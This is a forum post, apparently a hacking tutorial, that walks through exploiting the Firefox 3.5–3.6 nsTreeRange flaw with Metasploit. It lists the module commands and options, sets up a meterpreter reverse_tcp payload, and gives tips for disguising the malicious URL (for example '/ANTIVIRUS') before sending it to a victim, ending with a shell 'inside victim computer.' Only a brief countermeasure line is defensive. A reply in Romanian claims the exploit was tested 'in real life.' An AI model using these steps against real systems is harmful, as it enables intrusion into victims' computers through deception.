Hacking Mozilla Firefox 3.5 to 3.6 nsTreeRange Vulnerability Using Metasploit

[Fi8sVrs]

Today while surfing I read some news about nsTreeRange Mozilla Firefox version 3.5 to 3.6.1.6 Vulnerability. Actually this vulnerbility ranking is not excellent or good, but it's normal vulnerability. This vulnerability was known at 2011-07-10 by sinn3r. In this tutorial I'm using Windows 7 for my victim Operating system with Mozilla Firefox v 3.5.17. If you also want to try out this tutorial, you can find Mozilla Firefox version which I describe above at oldapps.com.

Requirements :

1. Metasploit Framework

2. Linux OS or Backtrack 5(Metasploit already included inside this distro)

I. The first step, just go to your msfconsole, and then use exploit/windows/browser/mozilla_nstreerange. If it returns cannot find exploit, maybe you should update your msf framework first by running msfupdate.

msf > use exploit/windows/browser/mozilla_nstreerange 
msf exploit(mozilla_nstreerange) > show options 

Module options (exploit/windows/browser/mozilla_nstreerange): 

Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CreateThread  true             yes       Whether to execute the payload in a new thread
   SEHProlog     true             yes       Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit
   SRVHOST       0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT       8080             yes       The local port to listen on.
   SSL           false            no        Negotiate SSL for incoming connections
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion    SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                        no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Auto (Direct attack against Windows XP, otherwise through Java, if enabled)

II. There's a few option you should set up first before launching this exploit.

SRVHOST : Your IP address acts as exploit server

SRVPORT : port use to serve request from victim. The default value is 8080 but if your port 80 was free, it's better to use port 80.

URIPATH : It's something looks like http://localhost/URIPATH, you can change this value to make URIPATH more readable by human e.g : http://localhost/ANTIVIRUS, etc.

In above picture I'm also using meterpreter reverse_tcp payload. but you can choose the most suitable payload for you

III. Everything was set up correctly, then run exploit to run our malicious webserver.

IV. After the victim opened our malicious URL we've already send to them, our server processing and create new notepad.exe process at victim computer. Below is the screenshot.

V. A new session ID 1 has created, the next step we can interract with that session ID to gain privilege on victim computer

sessions -l 1

That's it we're already inside victim computer.

Countermeasure : - Always update your Mozilla Firefox into lastest version. - Use personal firewall to detect inbound and outbound traffic. Hope it's useful

Nice un exploit dated, care chiar merge, l-am testat in VMware si "in real life" Dar acum vad ca lumea tinde sa migreze spre Google Chrome, si de la o firma ca Google, ma astept sa nu aiba un numar ridicat de 0-dayuri , deci pa pa browser exploits age....
